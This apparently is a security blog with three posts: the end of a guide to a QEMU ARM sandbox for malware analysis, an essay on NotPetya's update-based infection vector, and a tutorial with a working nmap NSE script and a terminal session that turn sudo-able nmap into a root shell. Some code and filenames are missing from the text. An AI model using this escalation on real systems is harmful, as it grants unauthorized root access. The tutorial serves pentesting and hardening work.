The command line is:

mitsurugi@dojo:~/chall/armv6_stretch$ cat 
#! /bin/bash
qemu-system-arm -cpu arm1176 \
                -m 256 \
                -kernel kernel-qemu-4.4.34-jessie \
                -M versatilepb \
                -append "root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0" \
                -hda raspbian.qcow2 \
                -net nic \
                -net tap,ifname=tap0,script=no,downscript=no $1

Nothing fancy, you can't use more than 256M of RAM, and the net is made through tap, without any script (because you just configured it by yourself).

Be prepared for the first boot to configure a lot of things.

At first, use the qemu serial console (CTRL-ALT-3 when you see the strawberry logo on black screen) and log in. Why the serial console? Because you won't have any keyboard problem. The raspbian is configured to use QWERTY US keyboard. The serial console use your keyboard layout. The default login/pass is pi/raspberry  and you can use sudo to get root rights.

5/ First boot

Configure network, hostname, passwords, add a user, give root a password (eventually), d/l and configure all your analysis tools (gdbinit, scripts and so on), remove all the stuff you don't care about. And, reboot! Is everything OK? ssh works? Good!
You can forgot the CTRL-ALT-3 serial line and use ssh from now on.

Personnaly, I don't set up a default gw for the VM. This way, I'm almost sure than any malware I launch in it won't scan my internal network or the internet. This can be configured after on a case to case basis.

I set up the hostname as "router". If ever a malware would scan the hostname, it won't be an obvious name like "VM1" or "sandbox" or "analysis".

6/ Snapshotting for the win

The really good part about qemu is the -snapshot switch. This switch is made for a one-time snapshot. Whith it, anything is written on disk. When you poweroff the VM, every change made is lost. That's really, really good if you want to launch a malware. Even if this malware gain persistance to disk, modify files, or even trash your hard disk, it doesn't matter. Launch binary, look, modify things, trash VM, relaunch it. Very convenient. Don't forget to track and log every action in a scratchpad on your host because you can lost all of your work.

mitsurugi@dojo:~/chall/armv6_stretch$ ./ -snapshot
(do your stuff... Then halt the VM)


The VM is in clean state. For me, that's the hugest win. No need to clean up tracks leaved by the malware, no need to reconfigure things. Reboot machine -> you're done. You can even hard stop it by closing the qemu windows.

Qemu has another option, with persistent snapshot. The disk image is used as a "base" image, and another file is used as a snapshot. This way, you can stop and reboot, any changes are stored in the snapshot file. If you want to restore the clean, initial state, just trash the snapshot file and launch qemu with the base image (see qemu documentation). I never had to use it.

99/ Conclusion

This setup will allow you to launch and analyze any ARM binary in a relative security. I'm not aware of any qemu escape ARM to x86_64, and the network setup allows you to easily block requests to the outside world and simulate all the things.

jeudi 29 juin 2017

Infection as automatic update

0/ Intro

Everybody is talking about Petya^WNotPetya^WGolde^WPetWr^WAPT2^Wwhatever, and security researcher are doing their best in order to understand all the gory details under this so-called ransomware (or wiper?). Let them continue to do this hard work (thanks guys/girls for you to exist and provide insights), I want to focus on a specific point: the Infection Vector.

1/ Infection Vector

At this time of writing, the infection vector seems to come from M.E.Doc. M.E.Doc is a company which seems related to tax payment and accounting. I didn't checked, but news said it's widespread, and the home page has a direct link to updates:

The alleged vector worked like this:

  • M.E.Doc was hacked (or a part of it)
  • The automatic update feature was abused
  • All users of M.E.Doc software downloaded a malware instead of a legitimate update

This reminds the waterholing way to infects users, where you infect website visited by your victims. But waterholing is hard because you need to have some 0days to infect your victims.

The infection vectors turns automatic updates to infection!

2/ The importance of this new vector

And that point is new. This is a nice and clean infection vector:

  • You can target precisely your users if you want (think APT, espionage) or widespread (think ransomware, banking trojan), just choose your software to update!
  • No need to search for 0day! The role of update mechanism is to download, execute and install software
  • Bypass everything: Administrators have already authorized automatic updates, whitelisted sites, and give rights for updates. Yes, because every security guy/girl shoots "DO UPDATES! ALWAYS! MANDATORY! NOW!" (And yes, I'm the first one to say it).

I think that's the main information to learn from this attack. A new vector is in town, how can we handle it to control its damage power. When your legitimate tools evolve into deadly weapon that bites you, how can you survive?

3/ attack surface

I've booted my windows VM, and just let it run. I got some warning about the update of winSCP, openoffice and firefox (yep, I don't boot it often).
I wonder how many program are updated through their own channels. We know that some update domains are still in plain HTTP, some other are not digitally signed, and do we know if updaters check the signatures, etc..

Worst, I wonder how many legit programs are outdated, abandoned, and for whom DNS update domains are now for sale. Look for old software, search for domain, buy them, and you have an attack vector. You won't get many victims, but it can become really targeted if a company still use one of those abandoned software. Is there any domain containing "update" in this list today:  ?

I'm not even speaking of all DNS related problems bitsquatting or just the forgotten payment for the domain, or DNS hijacking, etc..

z/ Outro

If the security researcher are right, you don't have to care for this malware. It was a one shot fire and it won't be triggered again.

However, I think it's urgent to check all your software base, verify all of those download points, and verify the mechanism. Signatures and/or PGP base updates won't help because you have to take into account that all of the update infrastructure can be corrupted. So, in probability, the search for quick win pirates will search for non digitally signed updates, then for HTTP (in case of MITM), and only after weak updates websites.

In other word, I'll prepare backups and recovery plans.

vendredi 14 avril 2017

Privilege escalation with a sudo nmap

1/ Intro

Do you miss the good old days where nmap got an --interactive option? This option was mostly used to gain root privileges in the case if nmap was suid or sudo-able. This option has been deprecated and removed from nmap:
This option is rarely used and doesn't work

This day was a bad day for pentester: no more priv esc with nmap :-(

So an admin can give nmap to its users without any risks? I think not, and I'll explain why.

2/ Nmap scripting engine in action

nmap is a very powerful tool which can be extended through lua scripts. We will use this to gain root privileges:
  • nmap can launch any nse scripts
  • nse scripts can call os.execute(" system commands ")
You can read docs on the nmap website.

3/ Sample nse script

I did a really simple script:
mitsurugi@dojo:~$ cat got_root.nse 
-- The Head Section --
description = [[If nmap is suid or you have sudo nmap rights
this script suid a local binary called binsuid]]
author = "0xMitsurugi"
license = "Same as Nmap--See"
categories = {"default", "safe"}

-- The Rule Section --
hostrule = function(host)
    return host

-- The Action Section --
action = function(host)
    os.execute("echo got_root ; id > /tmp/owned")
    os.execute("[ -f binsuid ] && chown root.root binsuid")
    os.execute("[ -f binsuid ] && chmod +s binsuid")
    return "suid nmap priv escalation"

We have a hostrule, which is basically always true if host is up. We will scan so, the action will start.
The action just chown and chmod a file called binsuid in the local folder.

4/ full session

Let's imagine that a user can launch nmap through sudo without the need of a password.
Here is how to gain root privileges: Create a binary giving you a shell, use the nse script which will give suid rights to it. You're done.

mitsurugi@dojo:~$ cat binsuid.c 
#define _GNU_SOURCE 
void main() {
mitsurugi@dojo:~$ gcc -o binsuid binsuid.c
mitsurugi@dojo:~$ ls -l binsuid
-rwxr-xr-x 1 mitsurugi mitsurugi 8744 avril 14 10:56 binsuid
mitsurugi@dojo:~$ sudo nmap -p 1337 --script got_root.nse

Starting Nmap 7.40 ( ) at 2017-04-14 10:55 CEST
Nmap scan report for localhost (
Host is up (0.000026s latency).
1337/tcp closed waste

Host script results:
|_got_root: suid nmap priv escalation

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
mitsurugi@dojo:~$ ls -l binsuid
-rwsr-sr-x 1 root root 8744 avril 14 10:55 binsuid
mitsurugi@dojo:~$ ./binsuid 
bash-4.4# id
uid=0(root) gid=1001(mitsurugi) groupes=1001(mitsurugi),27(sudo),29(audio),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),122(kismet)

Ok, root rights acquired, job done.

5/ Outro

Lot of fun
Enjoy responsibly \o/ (and pwn everything!)

Ever tried. Ever failed. No matter. Try Again. Fail again. Fail better.
~Samuel Beckett